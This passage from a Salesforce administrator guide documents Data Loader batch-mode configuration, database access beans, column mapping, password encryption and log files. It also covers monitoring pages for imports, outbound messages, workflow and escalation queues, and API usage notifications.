directories are involved in running the program from the command line:
bin directory
Contains the batch files encrypt.bat for encrypting passwords and process.bat for running batch processes.
For information on running the Data Loader from the command line, see Using the Command Line Interface on page
349.

conf directory
The default configuration directory. Contains the configuration files config.properties, Loader.class, and
log-conf.xml.

The config.properties file that is generated when you modify the Settings dialog in the graphical user interface is
located at C:\Documents and Settings\your Windows username\Application
Data\salesforce.com\Data Loader version_number. You can copy this file to the conf installation directory
to use it for batch processes.

samples directory
Contains three subdirectories of sample files for reference.

File Path Convention


The file paths provided in these topics start one level below the installation directory. For example, \bin means C:\Program
Files \salesforce.com\Data Loader version_number\bin, provided you accepted the default installation directory.
If you installed the program to a different location, please substitute that directory path as appropriate.

351
Data Management Running in Batch Mode

Spring Framework Overview


The Data Loader configuration files are based on the Spring Framework, which is an open source full-stack Java/J2EE
application framework.
The Spring Framework allows you to use XML files to configure beans. Each bean represents an instance of an object; the
parameters correspond to each object's setter methods. A typical bean has the following attributes:
id
Uniquely identifies the bean to XmlBeanFactory, which is the class that gets objects from an XML configuration file.

class
Specifies the implementation class for the bean instance.

For more information on the Spring Framework, see the official documentation and the support forums. Note that salesforce.com
cannot guarantee the availability or accuracy of external websites.

Running Individual Batch Processes


To start an individual batch process use \bin\process.bat, which requires the following parameters:
A configuration directory
The default is \conf.
To use an alternate directory, create a new directory and add the following files to it:

• If your process is not interactive, copy process-conf.xml from \samples\conf.


• If your process requires database connectivity, copy database-conf.xml from \samples\conf.
• Copy config.properties from \conf.

A process name
The name of the ProcessRunner bean from \samples\conf\process-conf.xml.

Process Example

process ./conf accountMasterProcess

Note: You can configure external process launchers such as the Microsoft Windows XP Scheduled Task Wizard to
run processes on a schedule.

Configuring Batch Processes


Use \samples\conf\process-conf.xml to configure your Data Loader processes, which are represented by ProcessRunner
beans. A process should have ProcessRunner as the class attribute and the following properties set in the configuration
file:

352
Data Management Running in Batch Mode

name
Sets the ProcessRunner name, which is also used as the nongeneric thread name and for configuration backing files (see
below).

configOverrideMap
A property of type map where each entry represents a configuration setting: the key is the setting name; the value is the
setting value.

enableLastRunOutput
If set to true (the default), output files containing information about the last run, such as
sendAccountsFile_lastrun.properties, are generated and saved to the location specified by
lastRunOutputDirectory. If set to false, the files are not generated or saved.

lastRunOutputDirectory
The directory location where output files containing information about the last run, such as
sendAccountsFile_lastrun.properties, are written. The default value is \conf. If enableLastRunOutput
is set to false, this value is not used because the files are not generated.

The configuration backing file stores configuration parameter values from the last run and is used to load default configuration
parameters. The settings in configOverrideMap take precedence over those in the configuration backing file. The
configuration backing file is managed programmatically and does not require any manual edits.
For the names and descriptions of available process configuration parameters, see Data Loader Process Configuration Parameters
on page 353.

Data Loader Process Configuration Parameters


When running the Data Loader in batch mode from the command line, you can specify the following configuration parameters
in config.properties. In some cases, the option is also represented in the graphical user interface at Settings ➤ Settings.

Parameter Name Data Equivalent Description


Type Option in
Settings
Dialog
This option forces files to open in UTF-8
Read all encoding, even if they were saved in a different
CSVs with format.
UTF-8
dataAccess.readUTF8 boolean encoding Sample value: true

Write all This option forces files to be written in UTF-8


CSVs with encoding.
UTF-8
dataAccess.writeUTF8 boolean encoding Sample value: true

353
Data Management Running in Batch Mode

Parameter Name Data Equivalent Description


Type Option in
Settings
Dialog
Name of the data source to use, such as a CSV
file name. For databases, use the name of the
database configuration in database-conf.xml.
Not
applicable Sample value:
dataAccess.name string (N/A) c:\dataloader\data\extractLead.csv

Number of records read from your back-end or


other external database at a time. The maximum
value is 200.

dataAccess.readBatchSize integer N/A Sample value: 50

Standard or custom data source type. Standard


types are csvWriter, csvRead,
databaseWrite, and databaseRead.

dataAccess.type string N/A Sample value: csvWrite

Number of records written to your back-end or


other external database at a time. The maximum
value is 2,000. Note the implication for a large
parameter value: if an error occurs, all records in
the batch are rolled back. In contrast, if the value
is set to 1, each record is processed individually
(not in batch) and errors are specific to a given
record. We recommend setting the value to 1
when you need to diagnose problems with writing
to a database.

dataAccess.writeBatchSize integer N/A Sample value: 500

Generate Select this option to generate a success file when


success exporting data.
files for
process.enableExtractSuccessOutput boolean exports Sample value: true

When running the Data Loader in batch mode,


you can disable the generation of output files such
as
sendAccountsFile_lastRun.properties.
Files of this type are saved by default to the conf
directory. To stop the writing of these files, set
this option to false.
Alternatively, you can change the location of the
directory where these files are saved, using
process.enableLastRunOutput boolean N/A process.lastRunOutputDirectory.

354
Data Management Running in Batch Mode

Parameter Name Data Equivalent Description


Type Option in
Settings
Dialog
Sample value: true

Name of the file that contains the encryption key.


See Encrypting From the Command Line on
string page 365.
(file
process.encryptionKeyFile name) N/A Sample value: c:\dataloader\conf\my.key

The initial setting for the


process.lastRunDate parameter, which can
be used in a SQL string and is automatically
updated when a process has run successfully. For
an explanation of the date format syntax, see Date
Formats on page 347.
Format must be
yyyy-MM-ddTHH:mm:ss.SSS+/-HHmm. For
process.initialLastRunDate date N/A example: 2006-04-13T13:50:32.423-0700

When running the Data Loader in batch mode,


you can change the location where output files
such as
sendAccountsFile_lastRun.properties
are written. Files of this type are saved by default
to the conf directory. To change the location,
change the value of this option to the full path
where the last run files should be written.
Alternatively, you can stop the files from being
string written, using
process.lastRunOutputDirectory (directory) N/A process.enableLastRunOutput.

If your last operation failed, you can use this


setting to begin where the last successful
operation finished.
Start at
process.loadRowToStartAt number row Sample value: 1008

Name of the the field mapping file to use. See


Mapping Columns on page 363.
string
(file Sample value:
process.mappingFile name) N/A c:\dataloader\conf\accountExtractMap.sdl

The operation to perform. See Data Loader


Command Line Operations on page 364.

process.operation string N/A Sample value: extract

355
Data Management Running in Batch Mode

Parameter Name Data Equivalent Description


Type Option in
Settings
Dialog
The directory where “success” and “error” output
files are saved. The file names are automatically
generated for each operation unless you specify
otherwise in process-conf.xml.
string
process.statusOutputDirectory (directory) N/A Sample value: c:\dataloader\status

The name of the CSV file that stores error data


from the last operation.
string
(file Sample value:
process.outputError name) N/A c:\dataloader\status\myProcessErrors.csv

The name of the CSV file that stores success data


from the last operation. See also
process.enableExtractSuccessOutput
on page 354.
string
(file Sample value:
process.outputSuccess name) N/A c:\dataloader\status\myProcessSuccesses.csv

Use Select this option to support the date formats


European dd/MM/yyyy and dd/MM/yyyy HH:mm:ss.
Date
process.useEuropeanDates boolean Format Sample value: true

Specify the ID of the assignment rule to use for


inserts, updates, and upserts. This option applies
to inserts, updates, and upserts on cases and leads.
It also applies to updates on accounts if your
organization has territory assignment rules on
accounts. The assignment rule overrides Owner
values in your CSV file.
Assignment
sfdc.assignmentRule string Rule Sample value: 03Mc00000026J7w

The number of milliseconds to wait between


successive checks to determine if the asynchronous
Bulk API operation is complete or how many
records have been processed. See also
sfdc.useBulkApi. We recommend a value of
5000.

sfdc.bulkApiCheckStatusInterval integer N/A Sample value: 5000

Select this option to use serial instead of parallel


Enable processing for the Bulk API. Processing in parallel
sfdc.bulkApiSerialMode boolean serial can cause database contention. When this is

356
Data Management Running in Batch Mode

Parameter Name Data Equivalent Description


Type Option in
Settings
Dialog
severe, the load may fail. Using serial mode
guarantees that batches are processed one at a
time. Note that using this option may significantly
increase the processing time for a load. See also
sfdc.useBulkApi.
mode for
Bulk API Sample value: false

The number of seconds to wait for a connection


during API calls.

sfdc.connectionTimeoutSecs integer N/A Sample value: 60

If true, enables SOAP message debugging. By


default, messages are sent to STDOUT unless
you specify an alternate location in
sfdc.debugMessagesFile.

sfdc.debugMessages boolean N/A Sample value: false

See
process.enableExtractSuccessOutput
on page 354. Stores SOAP messages sent to or
from Salesforce.com. As messages are sent or
received, they are appended to the end of the file.
As the file does not have a size limit, please
monitor your available disk storage appropriately.
string
(file Sample value:
sfdc.debugMessagesFile name) N/A \lexiloader\status\sfdcSoapTrace.log

If true, enables repeated attempts to connect to


Salesforce.com servers. See sfdc.maxRetries
on page 358 and sfdc.minRetrySleepSecs
on page 358.

sfdc.enableRetries boolean N/A Sample value: true

Enter the URL of the Salesforce.com server with


which you want to communicate. For example,
if you are loading into a sandbox, change the URL
appropriately.
Server
sfdc.endpoint URL Host Sample value: http://na4.salesforce.com

The Salesforce.com object used in the operation.

sfdc.entity string N/A Sample value: Lead

357
Data Management Running in Batch Mode

Parameter Name Data Equivalent Description


Type Option in
Settings
Dialog
Used in upsert operations; specifies the custom
field with the “External ID” attribute that are
used as a unique identifier for data matching. For
more information about external IDs, see Custom
Field Attributes on page 445.

sfdc.externalIdField string N/A Sample value: LegacySKU__c

In a single export or query operation, records are


returned from Salesforce.com in increments of
this size. The maximum value is 2,000. Larger
values may improve performance, but use more
Query memory on the client.
Request
sfdc.extractionRequestSize integer Size Sample value: 500

The SOQL query for the data export. For more


information on SOQL, see the Force.com Web
Services Developer’s Guide.
Sample value: SELECT Id, LastName,
FirstName, Rating, AnnualRevenue,
sfdc.extractionSOQL string N/A OwnerId FROM Lead

Enable this option to insert blank mapped values


as null values during data operations. Note that
when you are updating records, this option
instructs the Data Loader to overwrite any
Insert existing data in mapped fields.
Null
sfdc.insertNulls boolean Values Sample value: false

In a single insert, update, upsert, or delete


operation, records moving to or from
Salesforce.com are processed in increments of this
size. The maximum value is 200. We recommend
a value between 50 and 100.
Batch
sfdc.loadBatchSize integer Size Sample value: 100

The maximum number of repeated attempts to


connect to Salesforce.com. See
sfdc.enableRetries on page 357.

sfdc.maxRetries integer N/A Sample value: 3

The minimum number of seconds to wait


sfdc.minRetrySleepSecs integer N/A between connection retries. The wait time

358
Data Management Running in Batch Mode

Parameter Name Data Equivalent Description


Type Option in
Settings
Dialog
increases with each try. See
sfdc.enableRetries on page 357.

Sample value: 2

Compression enhances the performance of the


Data Loader and is turned on by default. You
may want to disable compression if you need to
debug the underlying SOAP messages. To turn
off compression, enable this option.

sfdc.noCompression boolean Compression Sample value: false

An encrypted Salesforce.com password that


corresponds to the username provided in
sfdc.username on page 360. See also
Encrypting From the Command Line on page
365.
encrypted
sfdc.password string N/A Sample value: 4285b36161c65a22

The host name of the proxy server, if applicable.

Proxy Sample value:


sfdc.proxyHost URL Host http://myproxy.internal.company.com

An encrypted password that corresponds to the


proxy username provided in
sfdc.proxyUsername on page 359. See also
Encrypting From the Command Line on page
365.
encrypted Proxy
sfdc.proxyPassword string Password Sample value: 4285b36161c65a22

The proxy server port.


Proxy
sfdc.proxyPort integer Port Sample value: 8000

The username for proxy server authentication.


Proxy
sfdc.proxyUsername string Username Sample value: jane.doe

By default, Salesforce.com resets the URL after


login to the one specified in sfdc.endpoint.
To turn off this automatic reset, disable this
option.
Reset URL
sfdc.resetUrlOnLogin boolean on Login Sample value: false

359
Data Management Running in Batch Mode

Parameter Name Data Equivalent Description


Type Option in
Settings
Dialog
Specify for how many seconds the Data Loader
waits to receive a response back from the server.

sfdc.timeoutSecs integer Timeout Sample value: 540

Select this option to direct the Data Loader to


truncate data in the following types of fields when
loading that data into Salesforce.com: Email,
Multi-select Picklist, Phone, Picklist, Text, and
Text (Encrypted).
In Data Loader versions 14.0 and earlier, values
for fields of those types are truncated by the Data
Loader if they are too large. In Data Loader
version 15.0 and later, the load operation fails if
a value is specified that is too large.
Selecting this option allows you to specify that
the previous behavior, truncation, be used instead
of the new behavior in Data Loader versions 15.0
and later. This option is selected by default and
has no effect in versions 14.0 and earlier.
This option is not available if the Use Bulk
API for Insert, Update, and Upsert
option is selected. In that case, the load operation
fails for the row if a value is specified that is too
Allow large for the field.
field
sfdc.truncateFields boolean truncation Sample value: true

Select this option to use the Bulk API to insert,


update, and upsert records. The Bulk API is
optimized to load a large number of records
Use Bulk asynchronously. It is faster than the default
API for SOAP-based API due to parallel processing and
Insert, fewer network round-trips. See also
Update, sfdc.bulkApiSerialMode.
and
sfdc.useBulkApi boolean Upsert Sample value: true

Salesforce.com username. See sfdc.password


on page 359.

sfdc.username string N/A Sample value: jdoe@mycompany.com

360
Data Management Running in Batch Mode

Configuring Database Access


When you run the Data Loader in batch mode from the command line, use \samples\conf\database-conf.xml to
configure database access objects.

DatabaseConfig Bean
The top-level database configuration object is the DatabaseConfig bean, which has the following properties:
sqlConfig
The SQL configuration bean for the data access object that interacts with a database.

dataSource
The bean that acts as database driver and authenticator. It must refer to an implementation of javax.sql.DataSource
such as org.apache.commons.dbcp.BasicDataSource.

DatabaseConfig Example

<bean id="AccountInsert"
class="com.salesforce.lexiloader.dao.database.DatabaseConfig"
singleton="true">
<property name="sqlConfig" ref="accountInsertSql"/>
</bean>

DataSource
The DataSource bean sets the physical information needed for database connections. It contains the following properties:
driverClassName
The fully qualified name of the implementation of a JDBC driver.

url
The string for physically connecting to the database.

username
The username for logging in to the database.

password
The password for logging in to the database.

Depending on your implementation, additional information may be required. For example, use
org.apache.commons.dbcp.BasicDataSource when database connections are pooled.

DataSource Example

<bean id="oracleRepDataSource"
class="org.apache.commons.dbcp.BasicDataSource"
destroy-method="close">
<property name="driverClassName" value="oracle.jdbc.driver.OracleDriver"/>
<property name="url"

361
Data Management Running in Batch Mode

value="jdbc:oracle:thin:@myserver.internal.salesforce.com:1521:TEST"/>
<property name="username" value="test"/>
<property name="password" value="test"/>
</bean>

SQL Configuration
When running the Data Loader in batch mode from the command line, sqlConfig contains configuration parameters for
accessing specific data in the database. As shown in the code samples below, queries and inserts are different but very similar.
The bean must be of type com.salesforce.lexiloader.dao.database.SqlConfig and have the following properties:
sqlString
The SQL code to be used by the data access object.
The SQL can contain replacement parameters that make the string dependent on configuration or operation variables.
Replacement parameters must be delimited on both sides by “@” characters. For example, @process.lastRunDate@.

sqlParams
A property of type map that contains descriptions of the replacement parameters specified in sqlString. Each entry
represents one replacement parameter: the key is the replacement parameter's name, the value is the fully qualified Java
type to be used when the parameter is set on the SQL statement. Note that “java.sql” types are sometimes required, such
as java.sql.Date instead of java.util.Date. For more information, see the official JDBC API documentation.

columnNames
Used when queries (SELECT statements) return a JDBC ResultSet. Contains column names for the data outputted
by executing the SQL. The column names are used to access and return the output to the caller of the DataReader
interface.

SQL Query Bean Example

<bean id="accountMasterSql"
class="com.salesforce.lexiloader.dao.database.SqlConfig"
singleton="true">
<property name="sqlString"/>
<value>
SELECT distinct
'012x00000000Ij7' recordTypeId,
accounts.account_number,
org.organization_name,
concat (concat(parties.address1, ' '), parties.address2) billing_address,
locs.city,
locs.postal_code,
locs.state,
locs.country,
parties.sic_code
from
ar.hz_cust_accounts accounts,
ar.hz_organization_profiles org,
ar.hz_parties parties,
ar.hz_party_sites party_sites,
ar.hz_locations locs
where
accounts.PARTY_ID = org.PARTY_ID
and parties.PARTY_ID = accounts.PARTY_ID
and party_sites.PARTY_ID = accounts.PARTY_ID
and locs.LOCATION_ID = party_sites.LOCATION_ID

362
Data Management Running in Batch Mode

and (locs.last_update_date > @process.lastRunDate@ OR


accounts.last_update_date > @process.lastRunDate@
</value>
</property>
<property name="columNames">
<list>
<value>recordTypeId</value>
<value>account_number</value>
<value>organization_name</value>
<value>billing_address</value>
<value>city</value>
<value>postal_code</value>
<value>state</value>
<value>country</value>
<value>sic_code</value>
</list>
....</property>
<property name="sqlParams">
<map>
<entry key="process.lastRunDate" value="java.sql.Date"/>
</map>
</property>
</bean>

SQL Insert Bean Example

<bean id="partiesInsertSql"
class="com.salesforce.lexiloader.dao.database.SqlConfig"
singleton="true">
<property name="sqlString"/>
<value>
INSERT INTO REP.INT_PARTIES (
BILLING_ADDRESS, SIC_CODE)
VALUES (@billing_address@, @sic_code@)
</value>
</property>
<property name="sqlParams"/>
<map>
<entry key="billing_address" value="java.lang.String"/>
<entry key="sic_code" value="java.lang.String"/>
</map>
</property>
</bean>

Mapping Columns
When running the Data Loader in batch mode from the command line, you must create a properties file that maps values
between Salesforce.com and data access objects.

1. Create a new file.


2. Observe the following syntax:

• On each line, pair a data source with its destination.


• Put the data source on the left, an equals sign (=) as a separator, and the destination on the right.
• Data sources can be either column names or constants. Surround constants with double quotation marks, as in
“sampleconstant”. Values without quotation marks are treated as column names.
• Destinations must be column names.

363
Data Management Running in Batch Mode

• You may map constants by surrounding them with double quotation marks, as in "United
States"=BillingCountry.

3. In your configuration file, use the parameter process.mappingFile to specify the name of your mapping file.

Column Mapping Example for Data Insert


The Salesforce.com fields are on the right.

SLA__C=SLA__c
BILLINGCITY=BillingCity
SYSTEMMODSTAMP=
OWNERID=OwnerId
CUSTOMERPRIORITY__C=CustomerPriority__c
ANNUALREVENUE=AnnualRevenue
DESCRIPTION=Description
BILLINGSTREET=BillingStreet
SHIPPINGSTATE=ShippingState

Column Mapping Example for Data Export


The Salesforce.com fields are on the left.

Id=account_number
Name=name
Phone=phone

Data Loader Command Line Operations


When running the Data Loader in batch mode from the command line, several operations are supported. An operation
represents the flow of data between Salesforce.com and an external data source such as a CSV file or a database. See the
following list of operation names and descriptions.
Extract
Uses a Salesforce.com Object Query Language (SOQL) string to export a set of records from Salesforce.com, then writes
the exported data to a data source.

Insert
Loads data from a data source into Salesforce.com as new records.

Update
Loads data from a data source into Salesforce.com, where existing records with matching ID fields are updated.

Upsert
Loads data from a data source into Salesforce.com, where existing records with a matching custom external ID field are
updated; records without matches are inserted as new records.

Delete
Loads data from a data source into Salesforce.com, where existing records with matching ID fields are deleted.

364
Data Management Running in Batch Mode

Data Access Objects


When running the Data Loader in batch mode from the command line, several data access objects are supported. A data access
object allows access to an external data source outside of Salesforce.com. They can implement a read interface (DataReader),
a write interface (DataWriter), or both. See the following list of object names and descriptions.
csvRead
Allows the reading of a comma or tab-delimited file. There should be a header row at the top of the file that describes
each column.

csvWrite
Allows writing to a comma or tab-delimited file. A header row is added to the top of the file based on the column list
provided by the caller.

databaseRead
Allows the reading of a database. Use database-conf.xml to configure database access. For more information, see
Configuring Database Access on page 361.

databaseWrite
Allows writing to a database. Use database-conf.xml to configure database access. For more information, see
Configuring Database Access on page 361.

Encrypting From the Command Line


When running the Data Loader in batch mode from the command line, you must encrypt the following configuration
parameters:

• sfdc.password
• sfdc.proxyPassword

Use the utility described below to perform encryption.

Using the Encryption Utility


The Data Loader offers an encryption utility to secure passwords specified in configuration files. To use the encryption utility:
1. Run \bin\encrypt.bat.
2. At the command line, follow the prompts provided to execute the following actions:
Generate a key
Key text is generated onscreen from the text you provide. Carefully copy the key text to a key file, omitting any leading
or trailing spaces. The key file can then be used for encryption and decryption.

Encrypt text
Generates an encrypted version of a password or other text. Optionally, you can provide a key file for the encryption.
In the configuration file, make sure that the encrypted text is copied precisely and the key file is mentioned.

Verify encrypted text


Given encrypted and decrypted versions of a password, verifies whether the encrypted password provided matches
its decrypted version. A success or failure message is printed to the command line.

365
Data Management Troubleshooting Data Loader Operations

Troubleshooting Data Loader Operations


Available in: Enterprise, Unlimited, and Developer Editions

If you need to investigate a problem with the Data Loader, or if requested by salesforce.com Customer Support, you can access
log files that track the operations and network connections made by the Data Loader. The two log files are:
sdl.log
Contains a detailed chronological list of Data Loader log entries. Log entries marked “INFO” are procedural items, such
as logging in to Salesforce.com. Log entries marked “ERROR” are problems such as a submitted record missing a required
field.

sdl_out.log
A supplemental log that contains additional information not captured in sdl.log. For example, it includes log entries for
the creation of proxy server network connections.

These files can be opened with commonly available text editor programs, such as Microsoft Notepad.
You can quickly open these files by entering %TEMP%\sdl.log and %TEMP%\sdl_out.log in either the Run dialog or
the Windows Explorer address bar.

Uninstalling the Data Loader


Available in: Enterprise, Unlimited, and Developer Editions

To uninstall the Data Loader client application:

1. Go to Start ➤ Control Panel ➤ Add or Remove Programs.


2. Select the Data Loader program.
3. Click Remove. The uninstaller removes the program from your computer.

Data Loader Third-Party Licenses


Available in: Enterprise, Unlimited, and Developer Editions

The following third-party licenses are included with the installation of the Data Loader:

Technology Version Number License


Axis Ant 1.1 http://www.apache.org/licenses/LICENSE-1.1
Apache Jakarta Commons 1.6 http://www.apache.org/licenses/LICENSE-1.1
BeanUtils

366
Data Management Force.com ConnectOracle

Technology Version Number License


Apache Commons Collections 3.1 http://jakarta.apache.org/commons/license.html
Apache Commons Database 1.2.1 http://jakarta.apache.org/commons/license.html
Connection Pooling (DBCP)
Apache Commons Logging 1.0.3 http://jakarta.apache.org/commons/license.html
Apache Commons Object Pooling 1.2 http://jakarta.apache.org/commons/license.html
Library
Apache Log4j 1.2.8 http://www.apache.org/licenses/LICENSE-2.0.html
Eclipse SWT 3.063 http://www.eclipse.org/org/documents/epl-v10.html
OpenSymphony Quartz Enterprise 1.5.1 http://www.opensymphony.com/quartz/license.action
Job Scheduler
Rhino JavaScript for Java 1.6R2 http://www.mozilla.org/MPL/MPL-1.1.txt
Spring Framework 1.2.6 http://www.apache.org/licenses/LICENSE-2.0.txt

Note: salesforce.com is not responsible for the availability or content of third-party websites.

Force.com ConnectOracle
Available for an additional cost in: Enterprise and Unlimited Editions

Force.com ConnectOracle is a lightweight, easy to implement, packaged integration solution for Salesforce.com and Oracle
e-Business Suite 11i. It enables synchronization of account information between Salesforce.com and an Oracle e_BusinessSuite
11i back-office system, while significantly reducing the time, expense, and effort required to integrate the two systems.
ConnectOracle provides several benefits to enterprise customers, including:

• Fast and simple customer data integration, using a pre-built customer-master template which addresses end-to-end
integration between Salesforce.com and Oracle e_Business Suite 11i, thus accelerating the customer data integration process
• Bidirectional synchronization of account information between Salesforce.com and Oracle e-Business Suite 11i
• Access to front- and back-office enterprise customer data in Salesforce.com, enabling better, faster decisions with information
transparency

Note: Contact salesforce.com to learn more about purchasing and using ConnectOracle.

If ConnectOracle is enabled for your organization, you can download it via Setup ➤ Data Management ➤ ConnectOracle.

367
Data Management Force.com ConnectSAP

Force.com ConnectSAP
Available for an additional cost in: Enterprise and Unlimited Editions

Force.com ConnectSAP is a lightweight, easy to implement, packaged integration solution for Salesforce.com and SAP R/3®
that delivers an integrated and consistent view of relevant customer data in both systems. It enables synchronization of account
information between Salesforce.com and SAP R/3®, while significantly reducing the time, expense, and effort required to
integrate the two systems. ConnectSAP is a lightweight Java application that is deployed on premise, local to the SAP R/3 
system.
Note: Contact salesforce.com to learn more about purchasing and using ConnectSAP.

If ConnectSAP is enabled for your organization, you can download it via Setup ➤ Data Management ➤ ConnectSAP.

368
MONITORING

Using the Import Queue


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use the Import Queue: “Modify All Data”

Administrators can check the Import Queue to view details about an import or to cancel an organization import. Import details
are removed from the queue three days after completion.

1. Click Setup ➤ Monitoring ➤ Imports.


2. Select the file name of the import file to see the Import Queue Detail page for that file.

If you want to cancel an import, and the import has not started processing, click Del. You cannot cancel an import after it has
started processing.
The possible values of the Status column are listed below:

Status Description
Aborted The import did not complete successfully. The error details are emailed to the user who performed the
import. Aborted imports can be retried within three days, but, if multiple retry attempts are made, the
import cannot remain in the queue for more than 30 days from the original import attempt.
Completed The import completed successfully without errors.
Error The import was processed and errors were encountered. The error details are emailed to the user who
performed the import. The user can fix the errors, and then attempt the import again.
Pending The import is in the queue but has not started processing yet.
Processing The import is in the queue and is currently being processed.

See Also:
Importing Overview

369
Monitoring Tracking Outbound Message Delivery Status

Tracking Outbound Message Delivery Status


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To track outbound messages: “Modify All Data”

Workflow and approval actions that send the information you specify to an endpoint you designate, such as an external service.
An outbound message sends the data in the specified fields in the form of a SOAP message to the endpoint.
To track the status of an outbound message, click Setup ➤ Monitoring ➤ Outbound Messages. Alternatively, click Setup
➤ Create ➤ Workflow & Approvals ➤ Outbound Messages, and then click View Message Delivery Status. Here you can
view the status of your outbound messages

• The Next items for delivery related list contains all outbound messages that are awaiting delivery.
• The Oldest failures in queue related list contains the oldest failures that have not yet been deleted (because they have not
been delivered and are not 24 hours old).
• The Failed outbound messages related list contains all the outbound messages that failed to be delivered and are no longer
being retried. Messages are listed here only if you configure the message when you create it by selecting Add failures
to failed outbound message related list. For more information, see Defining Outbound Messages on page
817. If you do not see this related list, it has not been enabled for your organization. Contact your salesforce.com
representative.

You can perform several tasks here:

• Click Refresh to refresh the list.


• Click any workflow or approval process action ID to view the action that triggered it.
• Click Retry to change the Next Attempt date to now. This causes the message delivery to be immediately retried. If you
select Retry in the Failed outbound messages related list, the outbound message moves to the Next items for delivery
related list and is retried for another 24 hours.
• Click Del to permanently remove the outbound message from the queue.

Note: If you do not have these options, your organization does not have outbound messages enabled. Contact
salesforce.com to enable outbound messages for your organization.

See Also:
Managing Outbound Messages
Managing Outbound Messages
Managing Workflow and Approvals

370
Monitoring Monitoring the Workflow Queue

Monitoring the Workflow Queue


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage the workflow queue: “Modify All Data”

When Salesforce.com triggers a workflow rule that has time-dependent actions, use the workflow queue to view pending
actions and cancel them if necessary.
To view pending actions:

1. Click Setup ➤ Monitoring ➤ Time-Based Workflow.


2. Click Search to view all pending actions for any active workflow rules, or set the filter criteria and click Search to view
only the pending actions that match the criteria. The filter options are:
Workflow Rule Name
The name of the workflow rule.

Object
The standard or custom object that triggered the workflow rule. Enter the object name in the singular form such as
“opportunity.”

Scheduled Date
The date the pending actions are scheduled to occur.

Create Date
The date the record that triggered the workflow was created.

Created By
The user who created the record that triggered the workflow rule.

Record Name
The name of the record that triggered the workflow rule.

The filter is not case-sensitive. For more information on filters, see Entering Filter Criteria on page 1916.

To optionally cancel pending actions:

1. Select the box next to the pending actions you want to cancel. Optionally, check the box in the column header to select all
currently displayed items.

371
Monitoring Monitoring the Case Escalation Rule Queue

2. Click Delete. Salesforce.com cancels the pending action.

See Also:
Managing Workflow Rules
Creating Workflow Rules
Time-Dependent Action and Time Trigger Considerations
Administrator tip sheet: Workflow: Automating The Process

Monitoring the Case Escalation Rule Queue


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage the case escalation rule queue: “Modify All Data”

When Salesforce.com triggers a case escalation rule that has time-dependent actions, use the escalation rule queue to view
pending actions and cancel them if necessary.
To view pending actions:

1. Click Setup ➤ Monitoring ➤ Case Escalations.


2. Click Search to view all pending actions for any active case escalation rule, or set the filter criteria and click Search to view
only the pending actions that match the criteria. The filter options are:
Case To Escalate
The Case Number of the escalated case. The Case Number is a unique, automatically generated number used for
identifying the case.

Escalation Rule
The name of the rule used to escalate the case.

Rule Entry
The order in which the rule entry will be processed. A rule entry is a condition that determines how a case escalation
rule is processed. Each escalation rule can have a maximum of 3000 rule entries.

Escalation Action
The time criteria specified for the case to escalate as defined in the rule entry.

Ignore Business Hours


Indicates if the Ignore Business Hours checkbox is selected on the rule entry, meaning that the rule entry is in
effect at all times and ignores your organization's business hours.

372
Monitoring About API Usage Notifications

Escalate At
The date and time at which the case will escalate as defined in the rule entry. Dates and times display in the timezone
of the user viewing the escalation rule queue.

Added Date
The date and time at which the case was added to the queue. Dates and times display in the timezone of the user
viewing the escalation rule queue.

The filter is not case-sensitive. For more information on filters, see Entering Filter Criteria on page 1916.

To cancel pending actions:

1. Select the box next to the pending actions you want to cancel. Optionally, check the box in the column header to select all
currently displayed items.
2. Click Delete. Salesforce.com cancels the pending action.

See Also:
Managing Escalation Rules
Viewing and Editing Escalation Rules

About API Usage Notifications


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view, create, edit, or delete notifications: “API Enabled”

When you create a request usage notification, you specify an administrator to receive an email notification whenever your
organization exceeds a specified limit for the number of API requests made in a specified span of hours. For more information
on API request limits, see Force.com API Usage Limits on page 1071.
To view existing API usage notifications, click Setup ➤ Monitoring ➤ API Usage Notifications.
From the notifications list, you can do any of the following:

• Click Edit and Del to edit or delete an existing notification.


• View the name of the user who will receive the notification.
• View the notification interval, which defines the frequency at which the notifications are sent. For example, if the notification
interval is four hours, a notification will be sent only if the last notification was sent at least four hours ago. Thus, during
a 24 hour period, a maximum of six notifications will be sent.
• View the percent of the limit which, if exceeded, triggers a notification to be sent. For example, if your organization has
a limit of 1,000,000 requests, and you set a threshold percentage of 60 (60%) and a notification interval of 24 hours, when
600,000 API requests have been sent in a 24 hour period, the specified user receives a notification.
• View the name of the user who created the notification and when the notification was created, as well as the last time the
notification was modified, and the name of the user who made the modification.

373
Monitoring About API Usage Notifications

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. Additional items are available for display, including the limit ID. To edit or delete any view you
created, select it from the View drop-down list and click Edit.

To create a new notification, click New.


You can create up to ten notifications per organization.

See Also:
Creating and Editing API Usage Notifications
Viewing API Usage Notifications
Documentation Resources for Force.com Developers

Viewing API Usage Notifications


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view, create, edit, or delete notifications: “API Enabled”

On the API usage notifications detail page, you can view information about a notification:

• Notification Recipient. The username for the person to whom the email notification is sent.
• Threshold. The percent of the usage limit that, when reached, triggers an email notification.
• Notification Interval (Hours). The frequency at which the notifications are sent. For example, if the notification interval
is four hours, a notification is sent only if the last notification was sent at least four hours ago. Thus, during a 24 hour
period, a maximum of six notifications will be sent.
• Created By. The user who created the notification request, and the time it was created.
• Modified By. The user who last edited the notification.

On this page, you can also create a new notification based on the values of the notification being displayed. Click Clone to
create a new notification with the current values populated in the new notification. You can edit the values before saving.

See Also:
About API Usage Notifications
Creating and Editing API Usage Notifications
Force.com API Usage Limits
Documentation Resources for Force.com Developers

374
Monitoring Monitoring the Mass Email Queue

Creating and Editing API Usage Notifications


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view, create, edit, or delete notifications: “API Enabled”

On the API usage metering edit page accessible via Setup ➤ Monitoring ➤ API Usage Notifications, you can supply the
required values for a rate limiting notification:

• The Salesforce.com user who will receive the notifications.


• The threshold percentage—the percentage of the rate limit that, once exceeded in the specified notification interval, triggers
a notification to be sent to the specified user. Value must be between 0 and 100.
• The time period for which the number of requests is measured, in hours. For example, if the interval is 24, the rate must
be exceeded in the past 24 hours for a notification to be sent.
If you change the time period, the new time period does not take effect until after the next notification of the existing time
